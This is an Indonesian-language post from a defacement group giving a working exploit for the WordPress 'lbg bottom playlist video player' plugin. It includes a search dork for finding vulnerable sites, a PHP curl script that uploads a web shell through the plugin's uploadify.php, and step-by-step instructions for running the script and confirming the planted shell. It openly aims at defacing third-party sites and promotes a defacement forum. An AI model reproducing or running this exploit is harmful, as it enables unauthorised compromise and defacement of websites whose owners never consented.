Deface dengan wp- lbg bottom playlist video player

Hai ^_^

kali ini saya share poc terbaru kayaknya :v yaitu  wp-lbg bottom playlist video player

Tested:Windows 7/8

Author:Lock-Down - Big Family Cupu Crew

oke langsung aja ke intinya ,tapi sebelum itu harus ada bahan"nya dulu:

Bahan:
~Xampp kalo belum ada download dulu ke gugel sana :v
~Koneksi
~Kode php ada di bawah .
~shell

Dork :  /wp-content/plugins/lbg-bottom-playlist-videoplayer/ bisa di tambahin site .
mau lebih banyak kemangkan sendiri ,udah gede kan :v

Exploit: /wp-content/plugins/lbg-bottom-playlist-videoplayer/js/uploadify/uploadify.php

Vuln "BLANK"

kode php : <?php

$uploadfile="shell.php";
$ch = curl_init("http://site.com/wp-content/plugins/lbg-bottom-playlist-videoplayer/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>"/wp-content/plugins/lbg-bottom-playlist-videoplayer/js/uploadify/",
'fileext'=>'php'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
save contoh.php ,lalu copas ke , xampp>php dan shell anda jangan lupa :)

Sekarang kita praktekan
-cari site vulnnya dengan dork di atas atau yang udah kau kembangin sendiri.

-kalo udah nemu ganti http://site.com/wp-content/plugins/lbg-bottom-playlist-videoplayer/js/uploadify/uploadify.php dengan targetmu yang udah di kasih sabun :v lalu save.

-sekarang buka cmdnya ketik cd\xampp/php enter ,lalu php namakodephp.php ,ingat nama kodephp ganti dengan nama file kalian lalu enter lagi. tunggu sampai selesai.

-jika selesai ada bacaan seperti ini : http://site.com//wp-content/plugins/lbg-bottom-playlist-videoplayer/js/uploadify/shell.php ,kalo lain dari situ berarti anda kurang tamvan :v

oke,sekian semoga bermanfaat :v

Kalo mau lebih banyak tentang ilmu deface kunjungi forum cupu  crew ,kalo mau bertanya silahkan,adminnya baik" kok :v

Thank's: Cupu Crew's

Share on Facebook

Share on Twitter

Share on Google+

Share on LinkedIn

Related Post